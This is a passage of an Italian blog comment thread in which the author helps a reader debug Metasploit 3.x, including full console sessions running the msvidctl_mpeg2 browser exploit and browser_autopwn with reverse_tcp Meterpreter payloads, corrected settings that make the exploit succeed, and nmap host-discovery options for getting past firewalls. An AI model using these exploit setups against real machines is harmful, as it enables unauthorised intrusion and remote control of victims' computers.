  20. Mirko 6 stato chiarissimo! Credevo che c'era il modo per forzare un determinato exploit ma giustamente come dici tu l'automazzione dovrebbe riconoscere in automatico che tipo di vulnerabilità è in quel momento su quella porta e non pensavo fosse così complesso la questione del browser! Ho provato a cercare in rete browser_autopwn ma non si trova proprio nulla sarà una cosa che non viene mai usata probabilmente oppure troppo complessa! Ti ringrazio come sempre! :)

    Rispondi



  21. Ciao Mirko rieccomi di nuovo con un altro problemino che ho riscontrato! Ho notato che quando effettuo lo scan la connessione va liscia ma quando finisce lo scan che stampa gli ip della rete con le determinate porte mi si satura la connessione in quel momento ma tipo msn è altri client restano connessi solo il browser non riesce a caricare le pagine! Mi stavo chiedendo... come è possibile questo? Si dovrebbe saturare durante lo scan quando si lancia il comando db_nmap e non dopo quando stampa gli ip perchè dovrebbe essere una cosa locale del pc e non che coinvolge pure la connessione giusto? E ho notato che salta anche molte porte facendomi risultare tutto filtered invece di open! Quella fase che stampa gli ip sul terminale è possibile farla saltare o la deve fare per forza? Oppure c'è una soluzione a questo problema? Sto impazzendo! Grazie Mirko!

    Rispondi



  22. Mirko alla fine ho capito che era una questione del mio router che non riusciva a mantenere quel tipo di flood l'ho cambiato immediatamente! :D
    Ascolta ma l'opzione browser_autopwn essa preleva direttamente gli exploit nella cartella "Browser" oppure non centra nulla? Perchè volevo sapere come funzionava l'exploit dell'ultimo bug del PDF che comprendeva dalla versione 8.x alla 9.x! Solamente che con il browser_autopwn non sembra che carichi questo tipo di exploit probabilemnte bisogna fare qualche altro passaggio?
    Grazie come sempre!

    Rispondi



    • @Massimo
      se non ricordo male gli exploit per adobe pdf non sono considerati da autopwn e servono per generare files .PDF che, una volta aperti, si occupano di sfruttare la vulnerabilità per eseguire il payload prescelto.

      Rispondi



  23. Mirko ho provato a fare sia in autopwn che 1 exploit alla volta ma non capisco perchè mi dà sempre errore SSL! Ho provato proprio ieri ad applicare il nuovo exploit msvidctl_mpeg2 che è un gravissimo bug di microsoft e è sistemi che ne risentono: Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0! In virtuale ho xp SP3 senza aggiornamenti con IE7 e al 100% quel bug lo deve avere anche perchè non ancora hanno rilasciato nessuna Patch! Applico l'exploit:

    msf > use exploit/windows/browser/msvidctl_mpeg2
    msf exploit(msvidctl_mpeg2) > set LHOST 192.168.1.6
    LHOST => 192.168.1.6
    msf exploit(msvidctl_mpeg2) > set LPORT 5001
    LPORT => 5001
    msf exploit(msvidctl_mpeg2) > set
    Module: windows/browser/msvidctl_mpeg2
    ======================================

    Name Value
    ---- -----
    AutoLoadStdapi true
    AutoRunScript
    EXITFUNC process
    EnableContextEncoding false
    HTML::base64 none
    HTML::javascript::escape 0
    HTML::unicode none
    HTTP::chunked false
    HTTP::compression none
    HTTP::header_folding false
    HTTP::junk_headers false
    LHOST 192.168.1.6
    LPORT 5001
    PAYLOAD windows/meterpreter/reverse_tcp
    SRVHOST 0.0.0.0
    SRVPORT 8080
    SSL false
    TCP::max_send_size 0
    TCP::send_delay 0

    msf exploit(msvidctl_mpeg2) > exploit
    [*] Exploit running as background job.
    msf exploit(msvidctl_mpeg2) >
    [*] Handler binding to LHOST 0.0.0.0
    [*] Started reverse handler
    [*] Using URL: http://0.0.0.0:8080/ccpFdBT0Lxia8
    [*] Local IP: http://192.168.1.6:8080/ccpFdBT0Lxia8
    [*] Server started.

    (Lancio il IE7 all'indirizzo http://192.168.1.6:5001)

    [*] Transmitting intermediate stager for over-sized stage...(216 bytes)
    [*] Sending stage (206848 bytes)
    SSL Error: SSL_accept returned=1 errno=0 state=SSLv2/v3 read client hello A: http request ecc...

    Mi esce una lista enorme di errori e dopo un pò mi dà:
    [*] Meterpreter session 1 opened (192.168.1.6:5001 -> 192.168.1.5:1598)
    msf exploit(msvidctl_mpeg2) > sessions -l

    Active sessions
    ===============

    Id Description Tunnel
    -- ----------- ------
    1 Meterpreter 192.168.1.6:5001 -> 192.168.1.5:1598

    msf exploit(msvidctl_mpeg2) > sessions -i 1
    [*] Starting interaction with 1...

    meterpreter > ls
    [-] Unknown command: ls.

    Come vedi anche tu non sembra una cosa normale dov'è che sbaglio oppure ho qualche libreria mancante?? Credo di averle messe tutte perchè il resto di Metasploit funge è solo il browser_autopwn e cmq tutti i Client-Side danno questo tipo di errore!
    Grazie Mirko 6 l'unico che che mi può aiutare a capire perchè veramente sto impazzendo! Ho provato di tutto ma quell'errore continua!

    Rispondi



    • @Massimo
      secondo me sbagli semplicemente ad utilizzare l'exploit.

      Quando esegui il comando:

      set LPORT 5001

      stai infatti impostando la porta che verrà utilizzata dal reverse meterpreter e non quella che dovrai poi raggiungere mediante Internet Explorer che è invece rappresentata dal valore del parametro "SRVPORT" (default: 8080), ne consegue il fatto che per far funzionare l'exploit dovrai connetterti a "http://192.168.1.6:8080/" e non a "http://192.168.1.6:5001)"... se guardi bene quello che mi hai trascritto c'è una riga in cui metasploit ti informa di tutto ciò:

      [*] Started reverse handler
      [*] Using URL: http://0.0.0.0:8080/ccpFdBT0Lxia8
      [*] Local IP: http://192.168.1.6:8080/ccpFdBT0Lxia8
      [*] Server started.

      Anzi... ti viene data anche una ulteriore informazione che è l'URIPATH al quale la vittima troverà l'exploit, per default il suo valore è random ma lo puoi cambiare.
      In sostanza, per far funzionare l'exploit correttamente, dovrai connetterti con IE7 all'url completo (protocollo://IP:porta/uripath) cioè:

      http://192.168.1.6:8080/ccpFdBT0Lxia8

      Se ti posso dare un consiglio: utilizza sempre il comando "show options" per consultare le varie possibilità di configurazione offerte da un modulo, noto che tu invece utilizzi impropriamente a questo scopo il comando "set" il quale mostra soltanto le variabili che sono state effettivamente impostate (anche automaticamente) nascondendoti però tutto ciò che non hai preso in considerazione e che quindi risulta nullo... ad esempio "URIPATH".
      L'errore SSL che ti appare non dipende secondo me dalla mancanza di librerie ma piuttosto dal fatto che meterpreter si aspetterebbe di instaurare una comunicazione SSL con il suo primo stage (reverse_tcp) ma ciò non avviene perché invece sei tu a contattarlo tramite protocollo HTTP; meterpreter infatti, per offrire all'attaccante un minimo di privacy ;-D, utilizza SSL per crittografare in memoria i comandi che verranno eseguiti sulla macchina vittima.

      Rispondi



  24. Mirko per quanto riguarda l'attacco a 1 a 1 era come hai detto tu sbagliavo l'opzione SRVPORT Adesso funge e quando provo ad aprire la pagina mi chiede di eseguire l'ActivX e non mi dà più l'errore SSL! Mitico! Mentre il browser_autopwn nulla da fare ho provato di tutto ma ci deve essere per foza qualcosa che sbaglio ma non capisco dove! Ecco:

    msf > use auxiliary/server/browser_autopwn
    msf auxiliary(browser_autopwn) > set LHOST 192.168.1.6
    LHOST => 192.168.1.6
    msf auxiliary(browser_autopwn) > set URIPATCH prova
    URIPATCH => contatore
    msf auxiliary(browser_autopwn) > set SRVPORT 80
    SRVPORT => 80
    msf auxiliary(browser_autopwn) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf auxiliary(browser_autopwn) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    LHOST 192.168.1.6 yes The IP address to use for reverse-connect payloads
    LPORT 4444 no The starting TCP port number for reverse-connect payloads
    SRVHOST 0.0.0.0 yes The local host to listen on.
    SRVPORT 80 yes The local port to listen on.
    SSL false no Use SSL
    URIPATH no The URI to use for this exploit (default is random)

    msf auxiliary(browser_autopwn) > exploit
    [*] Auxiliary module running as background job
    msf auxiliary(browser_autopwn) >
    [*] Starting exploit modules on host 192.168.1.6...
    [*] Handler binding to LHOST 0.0.0.0
    [*] Started reverse handler
    [*] Using URL: http://0.0.0.0:80/y4QaiO
    [*] Local IP: http://192.168.1.6:80/y4QaiO
    ecc...

    Li carica tutti senza problema tranne gli ultimi 2 forse sia normale perchè le porte forse saranno giò aperte:

    [-] Exploit failed: The address is already in use (0.0.0.0:139).
    [-] Exploit failed: The address is already in use (0.0.0.0:445).

    ma quando vado ad aprire IE dall'xp http://192.168.1.6/prova mi esce impossibile visualizzare la pagina! Se invece vado su http://192.168.1.6:4444/prova

    Mi esce sul terminale:
    msf auxiliary(browser_autopwn) > [*] Command shell session 1 opened (192.168.1.6:4444 -> 192.168.1.4:1136)

    ma non fa nulla... non lancia gli exploit e cmq sia è sbagliato mi dovrebbe darlo sulla porta 80 e non 4444 giusto?

    Ok proviamo in un'altro modo inserendo anche SRVHOST 192.168.1.6 ma mi dà errore quando carica gli exploit:

    [-] Auxiliary failed: Rex::AddressInUse The address is already in use (192.168.1.6:80).
    [-] Call stack:
    [-] /lib/rex/socket/comm/local.rb:142:in `create_by_type'
    [-] /lib/rex/socket/comm/local.rb:26:in `create'
    [-] /lib/rex/socket.rb:45:in `create_param'
    [-] /lib/rex/socket/tcp_server.rb:38:in `create_param'
    [-] /lib/rex/socket/tcp_server.rb:27:in `create'
    [-] /lib/rex/proto/http/server.rb:131:in `start'
    [-] /lib/rex/service_manager.rb:80:in `start'
    [-] /lib/rex/service_manager.rb:24:in `start'
    [-] /lib/msf/core/exploit/http.rb:326:in `start_service'
    [-] /lib/msf/core/exploit/tcp.rb:287:in `exploit'
    [-] (eval):256:in `run'

    Giustamente dice che l'ip esiste già! Tanto per provare ho inserito l'ip vittima magari va eseguito su un'ip specifico ma niente lo stesso anche perchè non sarebbe normale come cosa! E' duro questo browser_autopwn! Grazie Mirko attendo come sempre la tua illuminazione! :D

    Rispondi



  25. Mirko sai cosa ho scoperto? Che non riesce a memorizzare il comando URIPATCH ecco perchè mi dice "Impossibile visualizzare la pagina" perchè il percorso non è corretto! Anche nei singoli attacchi pure se glielo imposti non funge! Guarda nei settaggi esce:

    Name Value
    ---- -----
    AutoLoadStdapi true
    AutoRunScript
    EXITFUNC process
    EnableContextEncoding false
    HTML::base64 none
    HTML::javascript::escape 0
    HTML::unicode none
    HTTP::chunked false
    HTTP::compression none
    HTTP::header_folding false
    HTTP::junk_headers false
    LHOST 192.168.1.6
    LPORT 4444
    PAYLOAD windows/meterpreter/reverse_tcp
    SRVHOST 192.168 .1.6
    SRVPORT 8080
    SSL false
    TARGET 0
    TCP::max_send_size 0
    TCP::send_delay 0
    URIPATCH prova

    Ma ma se apro http://192.168.1.6:8080/prova non funge! Se invece apro la pagina con URIPATCH creato da lui
    [*] Using URL: http://192.168.1.6:8080/0YZVj7
    Così va! Cosa può essere?

    Rispondi



    • @Massimo
      perché è "URIPATH" e non "URIPATCH", devi fare:

      set URIPATH prova

      Per quanto riguarda invece questo errore:

      [-] Exploit failed: The address is already in use (0.0.0.0:139).
      [-] Exploit failed: The address is already in use (0.0.0.0:445).

      potrebbe essere causato dal fatto che sul tuo sistema è attivo il servizio di condivisione file samba e quindi metasploit trova quelle porte (139 e 445) già utilizzate da qualche altro processo.

      In linux per elencare tutte le porte in ascolto puoi utilizzare il seguente comando:

      netstat -tlnp

      E ancora:

      [*] Command shell session 1 opened (192.168.1.6:4444 -> 192.168.1.4:1136)

      La porta 4444 è giusta, è il valore della variabile LPORT usata dal payload per la reverse shell.

      Per ultimo:

      Auxiliary failed: Rex::AddressInUse The address is already in use (192.168.1.6:80)

      Non ti serve impostare SRVHOST, il suo valore di default è "0.0.0.0" cioè tutti gli IP disponibili.

      Rispondi



  26. ciao a tutti e complimenti per l'articolo Mirko! Davvero molto utile!
    Comunque avrei una domanda da porre:
    ho letto i vari post e ho notato che alla fine si è discusso sempre di attacchi diretti o web-based all'interno della rete domestica utilizzando gli ip forniti dal router;
    quello che vorrei fare io invece è quello di testare i miei computer che il più delle volte rimangono accesi anche tutta la notte: se i computer stanno a casa il problema non è chi è connesso al modem ma chi dall'esterno cerca di entrare, giusto?
    Allora ho fatto delle prove e, dopo aver recuperato l'ip publico assegnato al mio modem, sono andato a casa da un mio amico e ho provato ad attaccare l'indirizzo;
    il problema è che in questo modo non riesco a rilevare i diversi pc connessi (che sono 2, uno con winXP e l'altro con linux) ne ad avere una stima certa per poter effettuare un attacco mirato ad un determinato pc: ad esempio voglio attaccare direttamente il mio pc con Winzoz e non quello con linux; poi c'è anche il fatto che molte versioni di xp non vengono riconosciute come tali: infatti nmap dice che ci sono troppe "impronte digitali" (fingerprints) per poter riconoscere che SO sia installato....
    E dopo questo poema chiedo aiuto a qualcuno di voi che certamente conosce meglio questo framework e vuole dare una mano ad un noob come me :)
    ps. I pc connessi hanno come SO windowsXP Sp3 e linux mint; l'attacco viene eseguito da un portatile con linux

    Rispondi



    • @Quentin
      I pc appartenenti ad una rete LAN sono mascherati dal modem/router/firewall grazie alla funzionalità NAT e non sono quindi raggiungibili direttamente da internet tranne che per le porte stabilite nelle regole di port forwarding (ammesso che ne esistano), questo è il motivo principale per il quale gli attacchi client-side vengono normalmente messi in atto per mezzo di phishing.
      Ti consiglio di leggere un approfondimento sull'argomento NAT.

      Rispondi



  27. per cui sarebbe possibile solo se avessi le porte aperte per bit torrent o emule, o anche le porte usate da un programma di tunneling per qualche videogioco giusto?

    Rispondi



    • @Quentin
      sì, e tale porta aperta deve anche essere utilizzata da un servizio/programma che possa essere contattato e sfruttato al fine di prendere il controllo della macchina che lo esegue; una porta aperta di per sé non è così pericolosa se non è "ascoltata" da un programma (buggato o mal configurato) in grado di accettare ed interpretare le informazioni che essa riceve.

      Rispondi



  28. Capito... perciò si può stare abbastanza tranquilli anche perché di exploit per emule o bit torrent (uso transmission) non mi pare ce ne siano, giusto?
    Mirko volevo chiederti un'altra cosa:
    tempo fa avevo come isp fastweb, che come è noto, a meno che non paghi 20 euro per un ip pubblico, non sei raggiungibile dagli altri isp. Questo vuol dire che se già è difficile attaccare un pc in questo modo, allora un utente su fastweb non può proprio essere attaccato se non da un'altro utente fastweb? Giusto? O la mia è un'ipotesi campata per aria?

    Rispondi



    • @Quentin
      non sono aggiornato sugli exploit disponibili (in the wild) per le versioni attuali dei due software che hai nominato ma per le vecchie versioni di emule sono sicuro che ne esistano.
      La tua ipotesi sugli utenti fastweb è condivisibile ma sono abituato a non escludere mai totalmente nessuna possibilità, anche la più remota :-) … cmq sì, è altamente improbabile un attacco diretto sulle loro porte. Va sempre tenuto presente però che ormai, se parliamo di computer client (non server), la tendenza non è più quella di attaccarli direttamente sulle loro porte ma quella di sfruttare a questo proposito i canali di comunicazione che essi aprono verso internet e sui quali sono effettivamente raggiungibili (applicazioni web, siti internet, proxy, protocolli di tunnelling, IM, Chat)… per non parlare delle tecniche di phishing.

      Rispondi



  29. Ciao Mirko! Rieccomi di nuovo sul mio fedelissimo Portale con un nuovo problema fresco di giornata purtroppo... uso Ubuntu 9.04 ho effettuato l'update della distro con i nuovi aggiornamenti tra cui c'era un nuovo rilascio del kernel... ok! Poi ho fatto anche l'update di Metasploit come sempre... sai adesso che mi succede? Lancio Metasploit con il consueto comando da console: sudo ./msfconsole
    Esso carica l'applicazione ma subito dopo che appare le solite scritte 408 Exploit... Payload ecc.. mi appaiono queste stringhe di errore:

    /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2432:in `rl_parse_and_bind': (eval):1:in `rl_parse_and_bind': compile error (SyntaxError)
    (eval):1: syntax error, unexpected tIDENTIFIER, expecting $end
    $if mode=emacs
    ^
    from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2148:in `_rl_read_init_file'
    from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2144:in `each_line'
    from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2144:in `_rl_read_init_file'
    from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2120:in `rl_read_init_file'
    from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:2534:in `readline_initialize_everything'
    from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:3760:in `rl_initialize'
    from /home/Massimo/Documenti/Metasploit/lib/rbreadline.rb:4760:in `readline'
    from /home/Massimo/Documenti/Metasploit/lib/readline.rb:68:in `readline'
    from /home/Massimo/Documenti/Metasploit/lib/rex/ui/text/input/readline.rb:80:in `pgets'
    from /home/Massimo/Documenti/Metasploit/lib/rex/ui/text/shell.rb:117:in `run'
    from ./msfconsole:82

    E' successo anche a te? Ho provato sia sul mio portatile EeePc 1000H con Ubuntu 9.04 sia sul Pc fisso sempre con la stessa distro! Cosa è certa che non ho installato nulla che poteva dare conflitto tranne che l'update del kernel! Ho provato anche a cancellare la cartella di Metasploit e scaricarmi la nuova magari l'update dell'applicazione non era riuscita ma nulla da fare! Da cosa può dipendere? Grazie come sempre!

    Rispondi



    • @ Massimo
      prova ad aggiornare metasploit alla revisione odierna (7113) mediante il solito comando:

      svn update

      il problema dovrebbe così risolversi.

      Rispondi



      • Mirko per fortuna era l'update! Chissà magari quello di ieri troppe fix avrannò dimenticato qualcosa! Come sempre grazie del tuo supporto! A Presto! ;)

        Rispondi



  30. Mirko guarda se ti può servire ho fatto un pò di ricerche ma non ho trovato nulla tranen che questo identico problema al mio:

    http://trac.metasploit.com/ticket/347

    Rispondi



  31. Mirko un'altra cosa che ho notato non sò se è solo a me cmq prima non lo faceva... che sempre da console quando per esempio vuoi cancellare qualcosa che si trova in mezzo a un comando rallenta tantissimo e il processore lavora al 100%! Mi confermi che è solo a me questo problema o una cosa che si è venuta a creare ultimamente nell'applicazione?
    Esempio: db_services
    e voglio cancellare dalla penultima parola "E" in poi... il processore inizia a lavorare tantissimo o anche quando si fa un incolla lo inserisce lentamente!
    Da qualche giorno che lo fa.. prima era perfetto ed è un P4 1500 mhz!
    Entro oggi voglio provare sul EeePc anche se cmq è davvero strano era una scheggia nell'esecuzione dei comandi nonostante è un pc vecchio!
    Magari hanno cambiato il core del Framework e i processori vecchi ne risentono!
    Attendo la tua risposta e entro oggi ti dico la mia se ne risente anche il portatile nuovo! Grazie!

    Rispondi



    • @ Massimo
      sui miei computer risulta minimamente lento quando, come hai detto tu, si cerca di cancellare un comando digitato.
      Probabilmente sento molto meno il problema rispetto a te perché ho un processore più moderno.
      Sicuramente si tratta di qualche bug, appena possibile lo segnalo.

      Rispondi



      • Mirko ti dò la conferma che anche sul mio EeePc fa la stessa cosa della lentenza e in più ho fatto provare anche ad un mio amico anche a lui uguale! Come dici te sarà un bug nell'applicazione speriamo che lo riparano presto che di questo passo il processore del il mio povero Pc vecchio si squaglierà del tutto! :D
        Grazie per i dubbi Mirko! ;)

        Rispondi



  32. Ciao Mirko! Mi sà che ho scoperto un bel bug sull'automazzione di metasploit! Infatti aspetto conferma anche da te di questa cosa... ho notato che dopo lo scan tramite db_nmap di determinate porte sulla rete aziendale cosa succede... che nel database creato con il db_create immagazina tutti gli IP up e ti dice quelli con la porta "filtered closed o open" fino a qui tutto ok è sempre stato così ma se si prova a fare il db_services ti spara tutti gli ip compresi quelli con la porta chiusa o filtrata! Poi quando si lancia l'automazzione lui lancia gli exploit anche su quegli ip con la porta chiusa o filtrata e non va bene perchè lo stesso cosa deve attaccare in quel caso? :D
    Anche impostando l'opzione -p nell'automazzione lancia l'attacco ugualmente su porte chiuse e filtrate! Attendo i tuoi saggi consigli! :)

    Rispondi



    • Probabilmente in questo periodo forse stai impegnato cmq ho capito che è un bug della 3.3 perchè ho provato a fare una prova con la 3.2 e prende in considerazione solo gli ip con una determinata porta aperta! Provvedo a comunicarlo alla community di metasploit sperando che risolvino presto questa bug!

      Rispondi



      • @ Massimo
        Hai ragione, sono molto impegnato in questo periodo e purtroppo riesco a risponderti soltanto ora.
        Ho fatto una prova con Metasploit ultima revisione e mi sembra funzionare tutto correttamente, ovvero con l'opzione "-p" non vengono selezionati exploit per le porte in stato di "closed".
        Se vuoi ti posso mandare via mail i log delle prove che ho fatto, dimmi tu.
        Ciao.

        Rispondi



        • Ciao Mirko! Stanotte ho fatto riparare il database io stesso ecco perchè va bene ora! Sono andato sul loro canale irc e ho parlato con gli admin di Meta dopo un 10 minuti l'hanno capito perchè non mastico benissimo l'inglese :D
          Adesso cosa succede che se fai 1 scan a molti ip di rete su una determinata porta finalmente il database ti seleziona gli ip per (Open, Closed e Filtered) mentre prima ti diceva STATE=UP e non andava bene perchè quando lanciavi l'automazione lanciava gli exploit su tutti gli ip e porte e non andava bene così! Un bug vero e proprio!
          Solamente che hanno corretto questo problema ma è rimasto sempre un'altro... quello che quando finisci lo scan non vedo il perchè Metasploit deve memorizzarci tutti ip UP anche con le porte chiuse! A cosa ci serve questo non lo sò -.-
          La vedo come una cosa che ci appesantisce l'applicazione! Infatti 1 scan su un'intero range di pc di rete tipo 192.168.1.2-255 e calcoliamo che sulla mia rete aziendale abbiamo 150 pc sai quanto tempo ci mette l'automazione a lanciarsi? La bellezza di 15 minuti! Non è normale come cosa! Loro danno la colpa al database Sqlite3 che è lento e nella versione 3.4 rimedieranno con la sostituzione da Sqlite a Postgres! Ma dico io... lasciate com'era prima invece di appesantire l'applicazione di cose inutitili! Basta guardare la 3.2 una scheggia! Poi è ovvio anche che ci mette molto più tempo a completare lo scan perchè deve memorizzare tutti gli ip nel db!
          Vabbè attendiamo e vediamo se si rendono conto loro stessi! Grazie Mirko come sempre! ;)

          Rispondi



  33. Ciao Mirko! A quanto pare hanno aggiunto direttamente il Postgres già alla 3.3 perchè secondo loro il db Sqlite3 è molto lento senza capire che è diventato lento perchè lo hanno appesantito loro di altre utility inutili... chissà perchè la 3.2 va bene! Mhà! Cmq Mirko volevo sapere se per caso sai dove posso trovare la stringa del codice in metasploit che fa memorizzare tutti gli ip UP nel database (quando lanciamo il comando db_nmap) e modificarla che quando ha finito lo scan deve memorizzare nel DB solo gli ip con le porte aperte? Io ho smanettato un pò nei file ruby l'unico interessante è questo file "lib/msf/ui/console/command_dispatcher/db.rb" che sembra sia quello che fa tutto! Ho provato a smanettarci cambiando delle voci tipo da "up" a "open" ma non funge! Spero che riesci ad aiutarmi in modo che metaploit me lo personalizzo a mia preferenza siccome gli admin non mi ascoltano e pensano a fare figo il programma senza pensare alla leggerezza!
    Grazie come sempre!

    Rispondi



    • @ Massimo
      Io se fossi in te, prima di effettuare modifiche al codice di Metasploit, proverei a filtrare i risultati direttamente attraverso nmap... ti faccio un esempio:

      db_nmap -PS139 --send_ip -n --open -sS -p139 192.168.0.0/24

      Il comando fa in modo che nmap esegua il discovery degli host cercando di inizializzare una connessione con una porta specifica (opzione "-PS139") piuttosto che utilizzare i metodi comuni (ARP Scan, Risoluzione DNS ed ICMP Ping... opzioni "-n" e "--send_ip"). In questo modo vengono considerati online, e quindi inseriti nel "db_hosts" di Metasploit, soltanto quegli host che non sono protetti da firewall o che presentano tale porta in stato di "open" oppure "closed". La stessa viene infine scansionata con un SYN Scan (opzioni "-sS" e "-p139") e mostrata come risultato interessante soltanto se in stato di "open" (opzione "--open"), quest'ultima opzione è importante perché fa in modo che Metasploit non inserisca nel "db_services" porte "closed" oppure "filtered".

      Rispondi



      • Mirko non sò che dirti... semplicemente che sei il mio salvatore! ahahaha! Funge alla perfezione quel comando e memorizza solamente gli ip aperti e l'autopwn parte subito perchè analizza solo gli ip open! Mentre prima l'autopwn doveva analizzarseli gli ip nella lista tra open,closed e filtered e crearsi una specie di secondo database virtualizzato di soli ip open e ci metteva un'eternita a lanciarsi l'automazione! Adesso va proprio come prima anche con il mitico Sqlite3 che ormai mi ci ero affezionato!
        Mirko grazie di tutto un giorno verrò da te ad offrirti una birra! :D
        A presto! ;)

        Rispondi



  34. Ciao Mirko! Ora va tutto bene proprio come volevo io! Volevo chiederti una cosa... siccome vedo che sai i comandi perfettamente bene di nmap per caso c'è un modo per dire a nmap di vedere se l'ip è down o up scavalcando i test ICMP e lanciando direttamente il ping su una determinata porta? Perchè molti ip ovviamente dice che sono down non rispondendo al ping perchè sono protetti da firewall o dal blocco ICMP del router mettere l'opzione -PN mi satura del tutto la connessione mentre stavo pensando... se invece fare il ping ICMP lo si fa attraverso TCP? E' possibile questo?

    Rispondi



    • Mirko mi sà tanto che la metto già in pratica questa cosa perchè è l'opzione -PS che già mi hai dato nella discussione precedente -PS "TCP SYN Ping" giusto? Però ho letto che a volte i firewall oggi bloccano questi tipi di attacchi SYN mentre gli ACK passano indisturbati quindi opzione -PA vero? L'ho letto sulla guida di nmap "Host Discovering"! Tu cosa mi consigli?

      Rispondi



      • @ Massimo
        Sì, puoi fare un “TCP Syn Ping” verso una porta specifica e l’opzione è quella che ti avevo già dato (-PS).
        La soluzione migliore per scovare gli host “vivi” in una subnet LAN (rete locale) è quella di utilizzare l’ARP Scan, Nmap lo fa già in maniera predefinita.
        Quando invece tali host si trovano oltre un firewall oppure un router non è ovviamente possibile utilizzare l’ARP Scan e bisogna ricorrere ad ICMP oppure TCP Ping. ICMP spesso è bloccato dalle regole firewall e quindi normalmente ha poco successo, questo ci porta a parlare di “ACK Ping” e “SYN Ping”. Quale sarebbe meglio utilizzare? La risposta dipende da una serie di fattori.
        Con “ACK Ping” si cerca di ottenere una risposta fingendo di aver già inizializzato una connessione verso un determinato host, questa tecnica non funziona con i firewall di tipo “stateful” (oggi sono molti).
        Con “Syn Ping” invece si finge di voler inizializzare una nuova connessione, questa tecnica ovviamente non può fallire se indirizzata verso una porta del firewall dietro la quale risponde effettivamente un servizio.
        Ciò che dici tu riguardo al blocco dei SYN è vero soltanto quando il firewall non pubblica nessun servizio e quindi le porte risultano tutte “filtrate”, in questo caso infatti tutti i pacchetti con flag SYN vengono scartati.
        Alla luce di quanto appena detto: se sei già a conoscenza di una porta sicuramente aperta allora ti conviene senza dubbio utilizzare un “Syn Ping” verso di essa, altrimenti dovresti utilizzare una combinazione di “ACK Ping” e “SYN Ping” verso porte diverse (le principali).
        La mia opinione in merito è che se il tuo scopo è quello di scansionare un unica porta e stabilire se sia “aperta” o “chiusa” allora puoi tranquillamente ignorare lo stato di quegli host che non rispondono ad un “SYN Ping” sulla stessa e quindi procedere utilizzando un comando come quello che ti ho dato in precedenza.

        Rispondi



        • Mirko sei stato chiarissimo! Come dici te in questo caso mi conviene l'opzione che mi hai dato in precedenza -PS e vado con il SYN! Credo sia la soluzione migliore per il mio caso! Grazie come sempre! A presto! ;)

          Rispondi



  35. Io vorrei sapere come aprire la porta 445 ? premetto che sto cercando di entrare nel pc dio mio fratello pero la porta 445 e filtrata....ho distattivato il firewall di windows xp ed e andato tutto bene . Volevo sapere se c era qualche trucco x aprire la porta 445 .
    Grazie in anticipo

    Rispondi



  36. @ Danilo
    dare questo genere di informazioni non è lo scopo di questo sito.
    Ciao.

    Rispondi



  37. Ciao Mirko! Mi chiedevo per salvare il log di quando si lancia l'automazione quale opzione bisogna inserire nell'autopwn? Ho provato a vedere l'help oltre alle opzioni standard -e -t -p non credo ci sia una possibilità di salvare il log! Attendo tue notizie! Grazie Mirko!

    Rispondi



    • @ Massimo
      Ciao,
      non mi è mai capitato di voler loggare questo genere di informazioni.
      Per quanto ne so Metasploit prevede la creazione di alcuni file di log nella cartella ".msf3" presente nella tua home.
      Più precisamente in:

      ~/.msf3/logs/

      Se fossi in te proverei ad approfondire questo aspetto del framework, posso dirti inoltre che i file di log dipendono in parte dalla variabile globale "LogLevel" che per default non è impostata ma può assumere un valore da 0 a ... 5(?) non sono sicuro di quest'ultimo.
      Puoi settarla direttamente dalla console in questo modo:

      msf > setg LogLevel 1
      LogLevel 1 => 1
      msf > save
      Saved configuration to: /root/.msf3/config
      msf >

      Per eliminarla invece:

      msf > unsetg LogLevel
      Unsetting LogLevel...
      msf > save
      Saved configuration to: /root/.msf3/config
      msf >

      Fammi sapere! :)

      Rispondi



      • Mirko grazie per la risposta! Entro la giornata di oggi faccio una prova e ti faccio sapere perchè ovviamente tramite l'autopwn bisogna stare a vedere ogni stringa per cercare di capire con che exploit si è effettuato il test mentre con un log ci si può anche allontanare dal pc e prendersi un caffè nel frattempo che finisce! :)
        Ti faccio sapere appena provo! ;)

        Rispondi



        • Mirko allora i log già li salvava in automatico! Anzi ti ringrazio assai perchè avevo un bel log di grosse dimensioni! Per fortuna che mi hai fatto notare questa cartella altrimenti chissà quanto poteva diventare! :D
          Grazie come sempre! A Presto! ;)

          Rispondi



  38. Ciao Mirko! Prima di tutto Auguri di Buon Anno! :D
    Ho notato che ultimamente hanno riportato qualche modifica nel Time del database Sqlite! Ti faccio un'esempio... quando si finisce lo scan di un range con nmap, ovviamente sempre da msf, prima riusciva subito ad analizzare gli ip con le porte aperte e in effetti l'hard disk con la CPU lavoravano al massimo ma nel giro di 2 minuti mi sparava la console per poi inserire il comando dell'automazzione mentre ora noto che ci mette il doppio del tempo:

    (range locale aziendale)
    The 1 scanned port on 192.168.1.255 is closed

    Nmap done: 26775 IP addresses (102 hosts up) scanned in 159.90 seconds

    (prima della console c'ha messo più o meno 15 minuti cosa che prima l'intero range ci metteva tra i 2-3 minuti)

    msf>

    Pensa che ho dovuto inserire nello scan il range separato 192.168.1-150.1-255 e dopo 192.168.151-255.1-255 altriementi la console me la dava dopo mezz'ora! :|
    Quindi Mirko quello che vorrei sapere se per caso è possibile settare il tempo di analisi dalla console oppure applicando qualche modifica manuale a qualche sorgente tipo db.rb (credo io) ma ho provato a vedere non ho trovato nulla riguardante il time! Siccome il mio nuovo pc può lavorare tranquillamente con 4 cuori quindi posso sfruttare senza problemi il carico assoluto! Grazie come sempre! :)

    Rispondi



    • Oppure Mirko sai cosa avevo pensato? Invece di fare le modifiche manuali o altro... se c'è qualche comando dentro a nmap che fa da esclusione closed e filtered!ES:

      The 1 scanned port on 192.168.1.248 is filtered

      The 1 scanned port on 192.168.1.250 is closed

      The 1 scanned port on 192.168.1.253 is closed

